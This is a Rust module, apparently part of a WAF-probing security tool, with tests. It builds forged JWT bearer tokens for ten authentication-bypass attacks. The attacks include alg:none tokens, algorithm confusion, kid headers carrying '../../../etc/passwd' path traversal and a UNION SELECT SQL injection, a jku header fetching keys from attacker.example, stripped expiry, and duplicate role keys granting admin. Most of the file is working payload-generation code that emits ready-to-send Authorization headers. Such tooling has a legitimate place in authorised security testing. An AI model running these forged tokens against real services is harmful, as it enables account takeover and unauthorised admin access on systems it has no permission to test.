use base64::Engine;
use base64::engine::general_purpose::URL_SAFE_NO_PAD;
use wafrift_types::canary::Canary;
use wafrift_types::probe::{SmuggleArtifact, SmuggleProbe};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum JwtSmuggleTechnique {
AlgNone,
AlgNoneCaseMix,
AlgConfusionRs256ToHs256,
KidPathTraversal,
KidSqlInjection,
JkuAttackerUrl,
EmptySignature,
NoneAlgWithGarbageSignature,
ExpiryClaimRemoved,
PayloadDuplicateKey,
}
impl JwtSmuggleTechnique {
#[must_use]
pub fn technique_name(&self) -> &'static str {
match self {
Self::AlgNone => "jwt.alg-none",
Self::AlgNoneCaseMix => "jwt.alg-none-case-mix",
Self::AlgConfusionRs256ToHs256 => "jwt.alg-confusion-rs256-to-hs256",
Self::KidPathTraversal => "jwt.kid-path-traversal",
Self::KidSqlInjection => "jwt.kid-sql-injection",
Self::JkuAttackerUrl => "jwt.jku-attacker-url",
Self::EmptySignature => "jwt.empty-signature",
Self::NoneAlgWithGarbageSignature => "jwt.none-alg-with-garbage-signature",
Self::ExpiryClaimRemoved => "jwt.expiry-claim-removed",
Self::PayloadDuplicateKey => "jwt.payload-duplicate-key",
}
}
#[must_use]
pub fn description(&self) -> &'static str {
match self {
Self::AlgNone => {
"`alg:none` acceptance — historic CVE class, still ships in lazy validators"
}
Self::AlgNoneCaseMix => "Case-mixed `alg:NoNe` — ascii-fold downgrade differential",
Self::AlgConfusionRs256ToHs256 => {
"RS256→HS256 algorithm confusion — RSA public key used as HMAC secret"
}
Self::KidPathTraversal => {
"Path traversal in `kid` header — file-load key resolution exploit"
}
Self::KidSqlInjection => "SQL injection in `kid` header — DB key-lookup exploit",
Self::JkuAttackerUrl => "Attacker-controlled `jku` URL — JWKS fetch differential",
Self::EmptySignature => "Empty signature segment — no-sig-required validator bypass",
Self::NoneAlgWithGarbageSignature => {
"Garbage signature with `alg:none` — validator paradox bypass"
}
Self::ExpiryClaimRemoved => "Stripped `exp` claim — permanent-token bypass",
Self::PayloadDuplicateKey => {
"Duplicate-key in JWT payload — RFC 8259 resolution differential"
}
}
}
}
#[derive(Debug, Clone)]
pub struct JwtSmuggleProbe {
pub canary: Canary,
pub technique: JwtSmuggleTechnique,
pub token: String,
}
fn b64url(bytes: &[u8]) -> String {
URL_SAFE_NO_PAD.encode(bytes)
}
const DEFAULT_PAYLOAD_JSON: &str = r#"{"sub":"admin","role":"admin","exp":9999999999}"#;
const PLACEHOLDER_SIG: &str = "wafrift-sig-placeholder";
impl JwtSmuggleProbe {
#[must_use]
pub fn new(technique: JwtSmuggleTechnique, credential_value: &str) -> Self {
let (base_header, base_payload, base_sig) = split_or_synthesize_jwt(credential_value);
let token = match technique {
JwtSmuggleTechnique::AlgNone => {
let header = r#"{"alg":"none","typ":"JWT"}"#;
format!("{}.{}.", b64url(header.as_bytes()), base_payload)
}
JwtSmuggleTechnique::AlgNoneCaseMix => {
let header = r#"{"alg":"NoNe","typ":"JWT"}"#;
format!("{}.{}.", b64url(header.as_bytes()), base_payload)
}
JwtSmuggleTechnique::AlgConfusionRs256ToHs256 => {
let header = r#"{"alg":"HS256","typ":"JWT"}"#;
format!(
"{}.{}.{}",
b64url(header.as_bytes()),
base_payload,
b64url(PLACEHOLDER_SIG.as_bytes())
)
}
JwtSmuggleTechnique::KidPathTraversal => {
let header = r#"{"alg":"HS256","kid":"../../../etc/passwd","typ":"JWT"}"#;
format!(
"{}.{}.{}",
b64url(header.as_bytes()),
base_payload,
b64url(PLACEHOLDER_SIG.as_bytes())
)
}
JwtSmuggleTechnique::KidSqlInjection => {
let header = r#"{"alg":"HS256","kid":"x' UNION SELECT 'AAAA'--","typ":"JWT"}"#;
format!(
"{}.{}.{}",
b64url(header.as_bytes()),
base_payload,
b64url(PLACEHOLDER_SIG.as_bytes())
)
}
JwtSmuggleTechnique::JkuAttackerUrl => {
let header =
r#"{"alg":"RS256","jku":"https://attacker.example/keys.json","typ":"JWT"}"#;
format!(
"{}.{}.{}",
b64url(header.as_bytes()),
base_payload,
b64url(PLACEHOLDER_SIG.as_bytes())
)
}
JwtSmuggleTechnique::EmptySignature => {
format!("{base_header}.{base_payload}.")
}
JwtSmuggleTechnique::NoneAlgWithGarbageSignature => {
let header = r#"{"alg":"none","typ":"JWT"}"#;
format!(
"{}.{}.{}",
b64url(header.as_bytes()),
base_payload,
b64url(b"garbage-sig-not-validated")
)
}
JwtSmuggleTechnique::ExpiryClaimRemoved => {
let payload = r#"{"sub":"admin","role":"admin"}"#;
format!(
"{}.{}.{}",
base_header,
b64url(payload.as_bytes()),
base_sig
)
}
JwtSmuggleTechnique::PayloadDuplicateKey => {
let payload = r#"{"sub":"admin","role":"guest","role":"admin","exp":9999999999}"#;
format!(
"{}.{}.{}",
base_header,
b64url(payload.as_bytes()),
base_sig
)
}
};
Self {
canary: Canary::generate(),
technique,
token,
}
}
#[must_use]
pub fn bearer_header_value(&self) -> String {
format!("Bearer {}", self.token)
}
}
fn split_or_synthesize_jwt(credential: &str) -> (String, String, String) {
let parts: Vec<&str> = credential.splitn(3, '.').collect();
if parts.len() == 3
&& !parts[0].is_empty()
&& !parts[1].is_empty()
&& parts.iter().all(|p| p.bytes().all(|b| {
b.is_ascii_alphanumeric() || b == b'-' || b == b'_' || b == b'='
}))
{
(
parts[0].to_string(),
parts[1].to_string(),
parts[2].to_string(),
)
} else {
let header = r#"{"alg":"HS256","typ":"JWT"}"#;
let payload_obj = format!(
r#"{{"sub":"{}","role":"admin","exp":9999999999}}"#,
json_escape(credential)
);
let payload = if payload_obj.is_empty() {
DEFAULT_PAYLOAD_JSON.to_string()
} else {
payload_obj
};
(
b64url(header.as_bytes()),
b64url(payload.as_bytes()),
b64url(PLACEHOLDER_SIG.as_bytes()),
)
}
}
fn json_escape(s: &str) -> String {
s.replace('\\', "\\\\").replace('"', "\\\"")
}
impl SmuggleProbe for JwtSmuggleProbe {
fn canary(&self) -> &Canary {
&self.canary
}
fn technique(&self) -> String {
self.technique.technique_name().to_string()
}
fn description(&self) -> &str {
self.technique.description()
}
fn artifact(&self) -> SmuggleArtifact {
SmuggleArtifact::Headers(vec![(
"Authorization".to_string(),
self.bearer_header_value(),
)])
}
}
#[must_use]
pub fn all_variants(credential: &str) -> Vec<JwtSmuggleProbe> {
use JwtSmuggleTechnique::*;
[
AlgNone,
AlgNoneCaseMix,
AlgConfusionRs256ToHs256,
KidPathTraversal,
KidSqlInjection,
JkuAttackerUrl,
EmptySignature,
NoneAlgWithGarbageSignature,
ExpiryClaimRemoved,
PayloadDuplicateKey,
]
.iter()
.map(|t| JwtSmuggleProbe::new(*t, credential))
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
use std::collections::HashSet;
#[test]
fn all_variants_emits_one_per_technique() {
assert_eq!(all_variants("wafrift-test").len(), 10);
}
#[test]
fn every_probe_uses_jwt_family_namespace() {
for p in all_variants("wafrift-test") {
assert!(p.technique().starts_with("jwt."), "got {}", p.technique());
}
}
#[test]
fn every_probe_emits_authorization_bearer_header() {
for p in all_variants("wafrift-test") {
match p.artifact() {
SmuggleArtifact::Headers(hs) => {
assert_eq!(hs.len(), 1);
assert_eq!(hs[0].0, "Authorization");
assert!(hs[0].1.starts_with("Bearer "), "got {:?}", hs[0].1);
}
other => panic!("expected Headers, got {other:?}"),
}
}
}
#[test]
fn alg_none_variant_has_three_dot_separated_segments_with_empty_sig() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNone, "wafrift-test");
let parts: Vec<&str> = p.token.split('.').collect();
assert_eq!(parts.len(), 3, "expected 3 segments: {}", p.token);
assert!(parts[2].is_empty(), "alg-none sig must be empty");
}
#[test]
fn alg_none_header_decodes_to_none_alg() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNone, "wafrift-test");
let header_b64 = p.token.split('.').next().unwrap();
let header_bytes = URL_SAFE_NO_PAD.decode(header_b64).unwrap();
let header = String::from_utf8(header_bytes).unwrap();
assert!(header.contains("\"none\""), "header: {header}");
}
#[test]
#[allow(non_snake_case)] fn alg_none_case_mix_header_decodes_to_NoNe() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNoneCaseMix, "wafrift-test");
let header_b64 = p.token.split('.').next().unwrap();
let header = String::from_utf8(URL_SAFE_NO_PAD.decode(header_b64).unwrap()).unwrap();
assert!(header.contains("NoNe"), "header: {header}");
}
#[test]
fn alg_confusion_variant_advertises_hs256() {
let p = JwtSmuggleProbe::new(
JwtSmuggleTechnique::AlgConfusionRs256ToHs256,
"wafrift-test",
);
let header = decode_header(&p.token);
assert!(header.contains("HS256"), "header: {header}");
}
#[test]
fn kid_path_traversal_variant_contains_etc_passwd() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::KidPathTraversal, "wafrift-test");
let header = decode_header(&p.token);
assert!(header.contains("etc/passwd"), "header: {header}");
}
#[test]
fn kid_sql_injection_variant_contains_sql_payload() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::KidSqlInjection, "wafrift-test");
let header = decode_header(&p.token);
assert!(header.contains("UNION SELECT"), "header: {header}");
}
#[test]
fn jku_attacker_variant_contains_attacker_url() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::JkuAttackerUrl, "wafrift-test");
let header = decode_header(&p.token);
assert!(header.contains("attacker"), "header: {header}");
}
#[test]
fn empty_signature_variant_ends_with_dot() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::EmptySignature, "wafrift-test");
assert!(p.token.ends_with('.'), "token: {}", p.token);
}
#[test]
fn expiry_removed_variant_payload_lacks_exp_claim() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::ExpiryClaimRemoved, "wafrift-test");
let payload_b64 = p.token.split('.').nth(1).unwrap();
let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(payload_b64).unwrap()).unwrap();
assert!(!payload.contains("exp"), "payload still has exp: {payload}");
}
#[test]
fn payload_duplicate_key_variant_contains_two_role_pairs() {
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::PayloadDuplicateKey, "wafrift-test");
let payload_b64 = p.token.split('.').nth(1).unwrap();
let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(payload_b64).unwrap()).unwrap();
let role_count = payload.matches("\"role\":").count();
assert_eq!(role_count, 2, "payload: {payload}");
}
#[test]
fn canaries_are_unique_per_probe() {
let probes = all_variants("wafrift-test");
let tokens: HashSet<String> = probes.iter().map(|p| p.canary().token.clone()).collect();
assert_eq!(tokens.len(), probes.len());
}
#[test]
fn technique_names_are_distinct() {
let probes = all_variants("wafrift-test");
let techs: HashSet<String> = probes.iter().map(|p| p.technique()).collect();
assert_eq!(techs.len(), probes.len());
}
#[test]
fn descriptions_are_non_empty_and_distinct() {
let probes = all_variants("wafrift-test");
let descs: HashSet<&str> = probes.iter().map(|p| p.description()).collect();
assert_eq!(descs.len(), probes.len());
}
#[test]
fn operator_supplied_jwt_is_used_as_base() {
let base_payload_json = r#"{"user":"victim","role":"admin"}"#;
let base = format!(
"{}.{}.{}",
URL_SAFE_NO_PAD.encode(r#"{"alg":"RS256"}"#),
URL_SAFE_NO_PAD.encode(base_payload_json),
URL_SAFE_NO_PAD.encode("placeholder")
);
let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNone, &base);
let parts: Vec<&str> = p.token.split('.').collect();
let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(parts[1]).unwrap()).unwrap();
assert!(payload.contains("victim"), "payload: {payload}");
}
#[test]
fn non_jwt_credential_is_synthesized_into_sub_claim() {
let p = JwtSmuggleProbe::new(
JwtSmuggleTechnique::AlgConfusionRs256ToHs256,
"wafrift-custom-creds",
);
let parts: Vec<&str> = p.token.split('.').collect();
let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(parts[1]).unwrap()).unwrap();
assert!(
payload.contains("wafrift-custom-creds"),
"payload: {payload}"
);
}
fn decode_header(token: &str) -> String {
let b64 = token.split('.').next().unwrap();
String::from_utf8(URL_SAFE_NO_PAD.decode(b64).unwrap()).unwrap()
}
}